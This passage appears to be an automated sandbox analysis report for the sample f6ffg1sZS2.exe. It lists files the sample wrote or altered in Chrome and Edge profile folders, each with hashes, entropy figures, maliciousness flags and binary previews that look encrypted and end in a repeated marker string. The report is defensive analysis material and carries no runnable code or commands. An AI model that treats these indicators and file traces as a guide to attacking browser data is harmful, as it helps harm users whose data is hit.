Preview:	{.. ....N.....>.;]..f....v..R.H=5..6...!&J.U..3....o.&.YCx...~.....L.8$q.N.7..._..r..;w~.w.d.4jMI...x.wy......Y5S.....e.jB8..l.... ........K>j...i('.<.G%0saa...N8.k./&...Z.h ...&...2%..(..:....bvK..........~o.t.6.."l........B.m)FG...rf..J...`..fkN.C.~...8.t...6..H{....'L.f..t`...h........R.@G.}....b+\|.x%..k,......Z..uuK.!.47LY.c...).uG...".z.<..y.h9.!...xf.>.S._...;U...+..N...G......SVZ.H...~.AV.......l.....P ;R@..7.....v....K..Odi..v...9.}...j.-.'.....f../{....`]%.j_.y.L.....x.,t..[...$/.......'..9%e.Kl.Z.,...9.T...V.........@-....~.L..`.M..'.).........n./......HxI.E..{.0..+.!..\|w..Byz`u..\|.5....vc.....],..."?..b.!D6.:y~...t...s.'.0... .^.9k.....M.Q..s\7.5}..T.4......V=...../.q.p.YH...ac..%..).....:.D.3........Q..K....TR..AC..;.!.x$OG..Q^&...r...r-.....Pa........1.....J.r.sl...<jEeo..*..\|l...;.z..Z....<.9V.....B.......qdTt.:~).g.?n...~%......zU...S.\.?..'....%.L....}...b...G.]..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\zh_CN\messages.json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.762854062190294
Encrypted:	false
SSDEEP:	24:ihNnLQbUVbLzanxBYjUTgNvlFS8WWCB627sJfycWylObD:ibLQbUVLzanxGjUTmveWw6278yvPD
MD5:	E88D400E088A5E2D6FDE397F711CCAB1
SHA1:	12AA35972B28DF33FEED311B05727241BBBF8EED
SHA-256:	3A5D576E93FF98998BAA2402F9B9A22DE11BFF1F8A29A46D9B7B5A8FF2BB3FD7
SHA-512:	65492C988BDD963CE5804961AE6D6D92E70A839E54854810B74D8CB04E4D7FED3CFB154072D1E69F5CEFFFF958D37C53E23E6E6A9B80CE3A1E2A706B984B2ACA
Malicious:	false
Preview:	{.. .n%..,j"...2...g.%7.%.)..K........w..1....1.....Ep!8..........s.7O..zo...+.+.b`.......@=...)Z.3...h7v1.W.-.\|b...D..{N.E.c.r.."...\.\|.Sq..c..5..=....<......,..+.jK..NQZ.....<.m...>....d.]..Tv)t].8.&.+H_...ZP....x.....6.Z.F..6.Bl...n.t.......%.<.`&.u.!\|...O..(.x...K=.2.....O....W......b.\..M....Id.g..gF..(..]F...P.&..>..-....H..w...Y ......#7......k...g....."./b..........9G...mT].[.+.."........U.Fy..(uB8.p...r.6....lC.....U&.B.yvq.......m.S...e.{D.....u}v...U.\.../.?}.t..{.T....]$a.]+..w.'...b.......f...g.F}.o0(......i..<r.^K..$m...Un.....G._>%..W7..... -..".].Z.W.e....$.d. K....[.m=d./....-9...z7...d{......5..H .lyS>a"....Cb.k&.cMZ.P.#.z1.ke.4`...[....A....7...."y~...uO..ZC.\|.\|... .9......F5.=...T@O......Og]H....4...."......w.:'.x.(!+P5R...L.........E.&.F..\|.{....g.."..g.....L..CF..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\zh_TW\messages.json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	7.801118948004251
Encrypted:	false
SSDEEP:	24:Gz1WJWAKsioWTwSuJwB4Ic/vJGgxcmwcNKUSDK7OVbKfEbD:/Jcw2eIc/vJ3mmwcvSGChnD
MD5:	DCFDB600821DB394D1F763ABC34CFF78
SHA1:	9A567A3EA70436A7BAADAD369A25A725A23A99FC
SHA-256:	7BB8070BC2CDE6F51FA139B3C746E7170FB822D8F99A6FED999E3FABD4E5BD36
SHA-512:	B53A594BE26210CF353420D0F5751B532E9BDC873594AAACBC4BEDEF96D744DF2B694A4D474F32D4D0C767EF8CA8547974B2F8F846745549790E20BAD5D3CBC0
Malicious:	false
Preview:	{.. ..1..g.g......M{.....hbp......^.H..i.m...S...>....!0e."........CF..K..U.;}....eH....0.To^.i..e..u.N\.../+...V.PW.x...j...Abb..a#Dz~..#..\|,.y...L.Y...d#.3.h..........0....].H98..Q.gu..^b.....0....O.).......]..T...\..3.(t.y.g.U...^p....H..z..(.TW.5S-u..+.8....#.yV.....Z..-...<.,qb..7).G9\..)O...8.......{./...c.q.$...q...0...K.l............%..../N~..B...5.0...)Y...Z......,...}U.I.2..\|...^...Uy.....^#..>..0..}...8. . a.Y.....%..4t.#.."9.U.....L..........1.C?......R..~.k.@hnu.&...=.+..t.=.;wF....@y.,B..W.6@....\Qo....X....'....8.....k?.:.qu.8.E......$...[Ow.D...t}.(..S...NV........TZ...!..{.=Y.U!.\|.6..r..2...t[T.h}....V...l[.a..Pwb.....U.'......b..q'.HG=...c.$R.}......}1..E.=..:,.~.2.C$...{47.=....e..q'Bo.u....<.j..tx.zI...8*..N........2U..MYlZ..bJ..3......M`NL).1..W'...il.a.'\...k..f..5..%B..&..X..h../.wk)...-.]....../.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2713
Entropy (8bit):	7.934478077011354
Encrypted:	false
SSDEEP:	48:IcvcSQTjIXqmHR2hohegBFwDFByBFEINtSwNAU+AhMw5LBhaGo3aib64XBMdyD:GjqqmHUhtDFIBpeUptaGNibyA
MD5:	6D7658C426D2BFD6AEEC5695C3605C7F
SHA1:	D9FC85467D53BA266C2BBCEFC2AEEDF3A6795CB6
SHA-256:	7C0E9E1934DEB48680063A2681AC0351A06DAC4B5FBEE9919AAF101AF278B52B
SHA-512:	6F3D5F50230EA6D5959B763CB98A1212A932C9BE816535818EFAF53911FC9C27B110B5B9BD5FA7D3C7D0FE49DDB178C241104512DC9E31A2F7407B7BF27151E3
Malicious:	false
Preview:	...#Q!...eS<L..W.>...w.."...".(..e....q,..WW....Q5...!X..:@...d.nT.........O..rl.-.S\|.K....$.....g).F?.......e...a[.......M!+\|...Y..E...u.......Wp&N8...yK.+b.m....vki...P.vGQ..l=.Sm.......d...?.x.<.3.8o..K...w.X.k(...vW..uf...7.......,.p][..C.J_o..T.%..E....$..._..J.<d..x<@.....'...X.[E.....?.y..N....=..p7.xp.....NVV.OIu......U.\@......P.....a./.:....` ....!..8.UB.........I?.,t.E.if.Z..5....F3.;R..N.6>y".....A.9..3l...9MW.k..U...p.T..". z;%.......E.3...;..1-..j.0,......p(.0...,....Zd}.z..m.g....iUM....."..bp...2...k..)c0J......~x.6...R....?....]......?N...V^..1A.....$.!...-...M..N.f..k..0.s./...j.E..V...)...&....M...>PB..vE2...[...L>M..i.&%WR......fg.y.....F.8.q.].~....'4?...>%.a...Ap.Krg0.M1...^.ha..J.....D=....z..+.;.K......l.z.o.v.3f...j.......,.~.`.1\...tDE....-.>..@).$.7@.V}I.D.........4.+.....M-%..lT.'..a..p>k)...t .A.....e .(C........*..S6-.....n."....(...Uz.7..a...F....Y....u^U..w..q.v.Gw..:....H.2.z.l+.C..LP=.?@.M.[(..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.678664337050343
Encrypted:	false
SSDEEP:	12:kGxfeMOxxhHKi5CRsX2xHHiMVp4BGflwoOGENFiAB1j3xUdxw+zDnS2cii9a:TfMqiVmxHHiMD4BGfl6P3xawe3bD
MD5:	F5AAA2B50643D9FD5995238D653ACF3E
SHA1:	447D2B552E71247E42C0C0483B659F4E56630048
SHA-256:	65E92A6549B775200BF9DB26E38D94233312EB62D91962F635107EC6E13F3B9F
SHA-512:	9F3FE1CFA158F67EA4D5FD8A74F0AABFA6E3FBD52F5E33E3B639FA52DD2EDEDE3C28A64FEC436032C302FEA6C7CFBE8FABA82800CCA709BCA45518D528FE4EC2
Malicious:	false
Preview:	2023/...T.A.. ..%...^.H.m..............C...%....../...3&......:2..Y.s...(..~0-R..........sc.q.<.{...>...J.."....o.=9m..qu....[Ly...JZ...b.....h!eS`."...Dg..M+..Oca....-......\..5N....x......K.'..;.+n.E.u..[`..cF..C.7.3.Qa.~...%...Zx...?%..+...F..E.x...{...`.....S7.o)r.O...)n......C.cPv...C....<K.}$....U..+..c..........0....lZ..^.9.....C..c.F.{...)O.WT..@..J........_)......8.6...../7..eCR..e........... . ..H...Ec.z\....f.*PI.n\|.....r...-......k..T.#.....U.P..u...73....P4..%.e.....Ro..p...<.;......U..2....t.9T.. '..........w...Z...Bc".x...1..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.474859397067563
Encrypted:	false
SSDEEP:	12:w85cBF5Ol0YIawKpG8FWn/1QpyUMXi6S2cii9a:fWBnfadG8FW/2pyUMXxbD
MD5:	B369FEF51033B7F5C079F896A6DDB6A7
SHA1:	15113FBF7EDE7576D1B2DD7D8610050C12818CE8
SHA-256:	A52034740828FE48EAA887B36D3FAEE17A81345C739FAD26F8D367EB4C48F38F
SHA-512:	E300F88A162ED3E03D0948E76513D6838C1CDE6E869486E61026A9A8A74929A0666D6C6357B56FF24DC206EC1DB4894F5EE4584666D9FC5F9EF50013CCFE59E9
Malicious:	false
Preview:	.On.!"...&5...f..........\|.m... .g.<...^l.Sr......TP..Q.h=.....y..*.!.o...l.B,..udC@/.q.E.}.w..W....J.U%0.y.N6.$.%6.]..]..A.{.q...Mt..T7.T..i..p..,&..u..?.<.........6..\|.}c.......-\..= 0.../.....#.Fb_.6.o.,..x..R.V..S.E....].#.........E#...O.....C.8..#q...l..G....9...s.S.....,.].[\i.$..dG....8i........p.~..{.^..7H~.......qV..;.r.tC......$.L..7.N.Zw..'....{LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	682
Entropy (8bit):	7.700835865421034
Encrypted:	false
SSDEEP:	12:kI0W7Kkxe10AFFNMaSQllVpAL32F4mj56RWmS/zzkCJpjVK6UGz12gaAS2cii9a:up70gF48E3Mn56c/ppjM6eWbD
MD5:	ADC798898565D0C679909AF1D1D0DEE1
SHA1:	B92AE91B83C6A41087EB1D758E515018A88986BA
SHA-256:	ABD2C9E3B08F998639112A449E57B1759EAA8CABC2B035E3EB43A345ED43DD83
SHA-512:	0FA74928EE46096F58F451D38D66C87864FE61F8CCA324836DD09D15E4F378F9F12381B12819529A33C18EF5A81EFCD3415B884A9132197F2B11684AB93EE43B
Malicious:	false
Preview:	2023//.>.....^.#G...=U."I.=c1.I.'..^{Z..NP.4JIVj.IQ..0.N.%'..J... :l7.Pod..l~#.p`%. n..%..'.).X..gsg.w/.Z.z..........]..U.q..)h.dE."..=....U.NWC...........g.!.Q.0.k.f..uO.#q.v6<..'...?K......X.V....]........@.....C7.y.[\95(.P....=.&S...,._.s.!.t.#k.,X."..\|...1.....$.I.U].. ....Zz[...O......i..&......d.+f......4....7@X..=R..+.0.a.a#X.1.+\.c..!\....e../'.z{.P....7.X.f.}l..s..L.\|%.m.."WG.....L....Y........2...?...N.n.'....8.af....rE..4,.gX.F...L>..PlL.'..5.a..'x....^r....{......,3..}...V....k.?..\3n.."........S.wX............v.7ag.m.IU..r..G..w.6.NO..}.MS........\d..t.kLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	395
Entropy (8bit):	7.379833528121928
Encrypted:	false
SSDEEP:	12:So43WZ/xfuIEveUBvJlI38Ok6+uiPs2S2cii9a:tlZ/9cRi3m6Ne9bD
MD5:	40A79FC671B3F14591F734D2B149A37A
SHA1:	70835BD51DFC4EC7AEC288B99F3FD8A2F6AA9FF2
SHA-256:	5DA4A030184B4ED54AA4B4F3E396BFD5014115BE263C9D03E86A9EBE0EF31148
SHA-512:	CF520C2BC8B305FEE9500E7E0CD5AB086C1EF48C63B07628741FA0AE82E4E97486FB0FD7ED9C98B302F56A4A1F00E7E8C1A87939689D4610435E21317629C015
Malicious:	false
Preview:	*...#.f..">\z.fZ.t..H.[......7.c.]...B....T.F@......Y.cA.....BYa......y....V..1.=...A.ZE.c..-......t...1Cu...Y.s..f.l/...Z.....'..I.t....s.V.A...Hg.&);.`D.9...~~...N/.,...............=....}...v.0....Kx@.@..F&......$2t.'....X~..T1.gZ.g..._..r.~Un.3..U.+..f.F9.8)c..0.../.Rkq%...DM.[.J...:....B.X..:wh..]Cv(.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	29006
Entropy (8bit):	7.993734622347818
Encrypted:	true
SSDEEP:	768:iDQBNn4nDkfRhQ0xMJGp4pHBI+eH1DxeLyxsmikC3:iyNn4YfvDxMJ04phI+Ryxuks
MD5:	2D67375227EA25DA0815BF742B013186
SHA1:	8EE9066888BA54C8EFF96D9366578FE8D1F09985
SHA-256:	8DE35A3D57F555622D29B954F98ECEE0840B51307E8C7E7FB2B743AA3157C1A2
SHA-512:	A7BA6215EE1BD6225E83A60DAA079563DAB5A57B95CA8391DDF8D99B6676F8CC1751743753A985ED5A423E27DACF76726BD4A8CF26B421A960FEB7D57747644B
Malicious:	true
Preview:	SQLitP..,q....QO,..K~.m..../..Li......:.i...J.$.d..>$......n....r...s&5....5 B..f....&.t.]...<...o\|..<.q-...J.^.LF?y.J\E...f>_..d.z.i...1C..........i...I:@......Q.3VI.5.7...Vz"..^7...+....I....j..p..i.........A+@...4.g......cr.0...:.kN.]..[~...e......-.6.....3...2.L..dC9Q..E.9....F.s...i-......5.c".>_.MI....`.0.iO..I..G.HQ...B._.M.,.0x....kA.....F..th"...&R.^..\|l...xDy..%......9\X..)1.$[.....>D.}f....L+}.........R.........G.j..._.W..]_:..d.z..M......>O...N.c.....".6_.8..f..3f\..$.:..%.\...^zB..D#.....U..K.p...'....}D&p.9^.aj.d..<...>......k._q}..n..O../V..i.U......X....Z._......1.G....+....Z.>n..P.Z!JA.J.\..J.]....<......d.8.yU.M..m.g>....].GOB)..^^Ph...Q..KPz.........+H.j...8a....$=..}]-iWG.4...=. g....6)...)H3.X....m..%v..........}.A....1....K.fgv.....T.:Ts3...T...C%..F.C..+..5..@.Q......p<.Y..1.>.og.V..kP.E.p....7...e...P.....q...}.S........s..I."..$W.........Q...-e.j..QYI-.L.......q0..i.. k`....T.C.W.VE4$NM.... .5

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	77068
Entropy (8bit):	7.997857028392031
Encrypted:	true
SSDEEP:	1536:9qVCGqrUAfvBChW3WbGO69+grEOnRHM7e2INGfx4f06Co5FqRWhG:ewBChEIJreEumJ20OFG
MD5:	B7BF99296B9E690BF002412D168C5FE1
SHA1:	E122A97E1F242B2175A323B057F733EDE2B5F3BC
SHA-256:	CA0C7D0B9F0AE429B204B45DABECB7C021210EFD82D87504229931A30097E39E
SHA-512:	2148F0812641C29CD474026DBC7DB62C6483DC8B824F87A0A6A94CB2155E02F6FAE99DCB167556F5D6E94032166D6B869983939F87787813D214AF26170701EF
Malicious:	true
Preview:	A..r..F...6..N=M..eG.s.o.......3.:..v...(.=x/..-E...j...D..c6.#>2.Bhm.h...X.)...Bz./..$[...d.O.1J...-..JR-)........d...'kk.D....i.b.Z...13....J.>.4..A.............y.......SG.+L....miY.Z._....P......!........+i2i.X.v./...,.B.&=....w..$.......%v....cF...Y.k...tYC./..w...D...$....u.......E.=. ..$T23.. ..b.8....,.......{[.M..4...Of.......-.,.E.0.vu..^......p5b..(...Tr.[.....;..J..^.$.l..1.._F../.....].c.....r..{.M...<L+...^B..TX.....y.h....X.xz..\|.]....{.2..6>..0Y.R...T......A....2.>.].,..`..\O-XL.....~..n.l...o3.....YADZ...k..{........L...cf.wWWx...r..;z.4..5.l.c."...&...$......?.>../....\|..I....W.....W...y$l....p..7{....:..>.....Vg..C.ZJ4..}P .nD..Z...........J...@..'.(.U...m..x....a.t.r..r{...\|yU.....$.K~..9%.w!..Q..~...M.7c.\|.ni...\..-..-{..E.xW.y.9...J.kD..O..g>...o.g........l.^.H..JO...............>.xa.K.^.........M.w.8.I.l9......_..$.R.....L=..N.F.h.EW..l.....e........'...3.....$.Ej..3.^..#J.L.:a...l.C]!.......DvM2Crj...b..P...H..>ST.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.675361545193853
Encrypted:	false
SSDEEP:	12:ksx2s/ZjReftZ69CmAJsR9RkD1r7unjbgUGJL3w+cDBYEyaAS2cii9a:NEs/PMZBcLkD1GnHzYkN12/bD
MD5:	D1EFB85E5875FFA67B5E4AF01C61690D
SHA1:	6DED6DDAD5895E82FBDDCC314D16B3FC1CC70589
SHA-256:	148B6A4DE99E828D6733CA6B0E0E5856AB17313DF70FAD8AE02819A9DD821241
SHA-512:	722E9241BD9DDB1EAE0DA8C5034CBC506268E3E76EE4CA99498C085770F2BA365F62DCA24140D5DE6096B87919020D2999ED1727F5F76D93301B314860603A47
Malicious:	false
Preview:	2023/.4..5.,....^G"{.I ~.].;n.&h.U..2.[.l.....15q.KM!/.\N..bh..oa.=........i.+..._.. (...!:...v.].{.45I.../..{.,c'.0....w:.}c.b.o<..,i...C..a..x...:._...Zs.".t1+..x..`9u@.t..4....!....y....<.rD.9.r......^x.......6.]#8"...Y............9F.=.4..1.h.0Wf..P.Mm]@.k....i.j.-+,.c1..O..5...C.l.ME:..L.,SQ`.,....M..We.S.....@>e..)...!.....&...B.K.&.K..6fp......Q.3.......q..;c.=T..=..k.1.[..:.(.....O.P........M.A..u..&..g.I.o...........S.C(.....m."N>N[^.3..K.&T........).f1.....vfN.b)C.......(.`.^"PB.....g.D...D.....i...x../.4..<.+.g3...&...A...r...WU..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996271304303982
Encrypted:	true
SSDEEP:	1536:iBSfKUPKdFjHb5s2oLwSjBkFi37ipz4sfufYj0:i8KmmFj75si4u2GJmt
MD5:	730B2BD817628DECE6CDB2ED13DBAE36
SHA1:	2E74F1E1AB0BD13EB493EF68520AF7F27AD9A6B0
SHA-256:	E7321E06E7B3F86EA70171244BE90BCCFC08FC63D74F6CBBA7587521742E1819
SHA-512:	FAC6DE32F6215C2159825BA2D54C0742ED490D99F1EA309CA5C0C7EACDD4C8BC3AAC823D06572E64557EECD0E324FE9E8A3320C8CE032B0CCD00EA079D1007E4
Malicious:	true
Preview:	SQLit.q....@?.a..R.X.I......)2~.K.W..F.Tn..Z...M.LP#.j.Hv....#._...."...K..eW.-.x.q.c7..Z.b 8..C...N.3......R..W./?L.<....^:...M..."k.!4,i;..\|.3..u...J..K]....x...(<.....6n....P.~>.2...t....Rw..\|..x.b..rM...~...<0.,.V.....\|?!}..a..!cqw...:..w.L...-5.. ..+..@)../"..iz7#a.z..D,.1......9..=q"..7..)....c..........+Y.E.......\4;B.fl ..e.u.ON.M\...`....q...RG.,....k..q...FVx.1.?z......P..i...Y....R2..0.Rq.M!v.G.u3.kA-Z..?.;.h..LH".....l]du.>....9.".....4;.w..B..n........5.eS.:/.......o.~~._.\|W!.-'.i0}'6.2.w...x....lN......v..R..gg.J"....j..$-?....z.........{.u.....z.......W....?>..j..Cw..h.DK.R.'.tSgC<G..(j..$%Bwo.C...3].@....'rl...\_]...)..S.....V..!.....K..P!....,..2j....S......Q3...Jg../$R{\=..r.e$...N%.l(.d.@t[........d ......n..d..f...v.F.,>.<...,..CX.6Pw....~xlL..........2..g.......=.1..RV..w...%........~..[.KF.V.\...v. ..n...xu.l..YU..c.E......@.......JLW..~.N.A.....-~....I.D..}.q...i+G...{.<........tn..%d6.......GA...K..Pk.J.....a

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.293152947185505
Encrypted:	false
SSDEEP:	6:Q5ol+D/y/RiQKk0cqdsAIdtHUYuzCjRYP+zFa1yoS/6QGasXFm8pdgU3cii96Z:QwRiQKxcca9jRYl1yN/OS2cii9a
MD5:	6E321F3576AC0D89B303EA3661DF9952
SHA1:	4570825949946495AB72BE70B6DD248913C582EF
SHA-256:	74DA4EF3494CBF7F6CFF9F98A51703151E0E7759B5CDBAF6AA98B53AC8161888
SHA-512:	606EB6611D474773BCF9F9C6D0C6D7B89F1AD821EFA42D35C436D4C4DEBF7BAF5FC553C84C30DFDCB6050439E25661EB0320F0F6B0EFCD64F079DCEEF9A6BCD7
Malicious:	false
Preview:	1,"fu=....wV=9D..wDw .i...(Q....0\|[..&..M.K_y..:.Xl....J.z..W\|'8. .q.y....l..)~....Q@..CL..tA.o....u.%l..K....>......w-......wf...y.qtL)..vTuS......%U.....7.(...wA.r.....K.k.n.\|..&2.'_O.V..M0t^b.....mQ...+.^h...O<.wF....%m...;.1..$...=."#2....af..!...M..d.XLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.791671297878264
Encrypted:	false
SSDEEP:	24:hpkX3LuvGkFyogPaTWNg9ScZ+5tu4+CsFtWIRY/x1VDmgle94dHJJHLTGnVbD:r43iv9dkaT0g9ST5MCGQIG/3JmCJRnG9
MD5:	7F7A33957689E09FEAA462B8BFD0C31C
SHA1:	EFDDC88C0027F0BAAB56BDD544DAF378E6E46735
SHA-256:	A0456BE11B2A00BC8543DD4850A7C96AA901D7830BED1F08C032C41511D59617
SHA-512:	F087822BE269CD04FBCB04605790874D6AA36D7F6E57C8D142C04B24CBF96EFFBDF7C8217AB990EF30E74E632CF8518C9430200B172E8209709A8BE61258B89F
Malicious:	false
Preview:	1,"fu0".+.!..}.c.....v%5Ey.:..JY....!..-..@l.....3j...0.L4t....f...F...\|.....60~.o...-.......PMC.y.......Ts.A.@U..j........D7J>...\|.....p..s...'.+.....!..%....?J5..>..K..".K...2).}...!.;.1...fl..1.D\....<.@..G...f.emh.N..2.....C.n&x..4..x.....>$&"..mph........5.Olw..h..@...~FQ.?..CU.b.8...!........0O4.&.H..[...>..K.(.o..z1.f=M..^....nq.........c.O#...u..D1.....K...........k.;..7.+i....G..]..0\x....e.......b.1....8.s/.57.."M&..h..?{.;...:.......p..8..vG....2...-.A...l.)I0n.........:..\|.y<V..S.[..\|..cx....r........#.+.........J..g.NPq.....T'x...\.b.c.9R..1J..x.'n.D..t...?.Zg@.........Kx...&2?...`...!..p..Y.R...l.7M.-.w.!...0.L,W.j.e...v..........;.e`"..v.X.../.L..*......U.ll.\|Y........\|$........q.u.\|\|.."...C.0.....x;o. ..]......R..nz.$D....L.^......$...tVd... K....Z....:...O.E..!../..T~.Jzs......uC ../.....e![.......j..$.S.n.\|[...-....p.O.Z.!Z..O..`..3I.$'R(....k..n.1..P.....RH.....cm.t"..F........7+{f)..rnQ..........!..0.. G;....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.990405951670181
Encrypted:	true
SSDEEP:	384:5+J2gOlHr9B7uNI8z17/JTymxe/HQfzYIVfZBsY+Xg2QF:AAPxr9YNI8RIvHQf9xZ2Zg2U
MD5:	34269371F590F56882553B349A1B9886
SHA1:	790F232E7786D37B962AC8309229F2403D19AA77
SHA-256:	34CA8EE21C65C26EF29E8A9B5EC6615455FFFB1DAA41A12CCA239135E19518C9
SHA-512:	27EC09CFE3B2800EF56297DF09D1EA0803151B07C75A714A936A2A6F463CDAC4FD022C00AF9FFF6894970CE5E392BA98C2EEB8C34D28895D7791AD5940770F8D
Malicious:	true
Preview:	...@.u..M9N.].qI...bz......Q..R8.sb.6..$j7.+..w]X.M..\|4X'Mct....j....>......P.F.,....k.L.W..g...H..n. ri.+E.:q....0_.k.n[....~.o..uqm..>..z..q8..(.<..o........c..w.<.Z.>../y.....O3.....v...X.C..I.>a......`]X...AK...^FD).....&.....\..g..D.!.@V.N.....D9t%..9..'.^.K<\o.M...p.....F.y...f....)=.....&h.....6.L..<,..m......B.x.k.{c.....d...b.....S...N.....0&..t..,6.9v.<..C...k.0..#..d.!......:e..B..R...>.e..;Z..~.......s5v.{......"..a..x$......%.<....v.).........9.....;.......+........XS.......[M..Q...f..0..>......$y...@....Dn.@.4...L..D#..q.....X.......\.w.N%..k;x..Wp.3..tei/....)....Fc.X..)0z...0.0O..a+.`..:..&g...L\.....g.....K..;."Gy.....?..........}._.\|k%.'..(2.6.w...'<..`Y=b.;eI...W......U.<X..Z....Y...4..jwV......X(.....i......tgI.%..?#^.S...B.$ml....6-.....'c.........ev..H'[M,...\..\|0........v...Q....,..QP...aU.4@8.#...m...........@..m...w.}.0m.....y%...Q.G..3.A.+...\|.....e.0....y..x...!......d..I.....Q+S.=8..C.4..u.+...;C.3h..j..m..M.z.>

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	904
Entropy (8bit):	7.743446908600129
Encrypted:	false
SSDEEP:	12:qH7moQk1OlCe0Ynzk3mQ5YZfmdQyBIjyQgP+abVHSD9t+/KCxmnnzFNRcdal1eOw:F5/Cpg4qZuHeyQOVyD9/tnnDOaze5BbD
MD5:	95FED7AB7F43D7E312D253F94E0540DF
SHA1:	CC54AB5926A1D11BC40E5DED3C350E532B075DDA
SHA-256:	750851824A4602D3AD28AAF6BBBAB26D5CCF361E3206CA5D7FACD4A41E2D85DF
SHA-512:	FA4520E2F504215307AC82D84813293914D547554721D41A6E73EDFFC51A403B5B99F470716C4C1E90258F335603472F5A226532B681A6DAA22C87EC86AD30B1
Malicious:	false
Preview:	.f.5...Z.57...h...t....@.).IhC...Z..4.}...l.7.B.A..+F.7!.K^....p.x/.B?..!...S....P.L..V...vy\|.....J....D....U5.{W...~.a..h...._.[...<....<}.{p..2.5..#...go..-.S.Kn+.O.A.x../...O...e..m].M..)jn...3./.gX.....N..U..:'.....6.%.....#....0...._w..C.BEl....4...U3...U...%...@.:vH..>X..{..N....j..&.9.....!....o.ar.uj.H......N.....E...Y..n..u..'....F......z.E...A..../s.x...y....P+.`CI=..,17.C.....A..y..v....%...-<K.Av.[..U.?......=U.P>Y9..s(.....:..6[W..+.....'=.Ii...Q.#.I...^ ....zV.........ZD..^.......E.C.m..E..0...1vD../..H..!..C...6.cvR..\.].3.z/.'..?]..X.5..qaV...]y:.^....9.#..KT..[..mE...(...-..(.['...E:.....k..Vp.:}..y.^.n.0b....U_$...3FC..I..I.0v.[.....9=..`..1..Mp,...O.........D..g..\ .0..1.....m....BF.....?.&...&`......!.8.&..{.3..;..bsAp.L..Fj*w....-."D....S..o1..,..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	490
Entropy (8bit):	7.557897066712411
Encrypted:	false
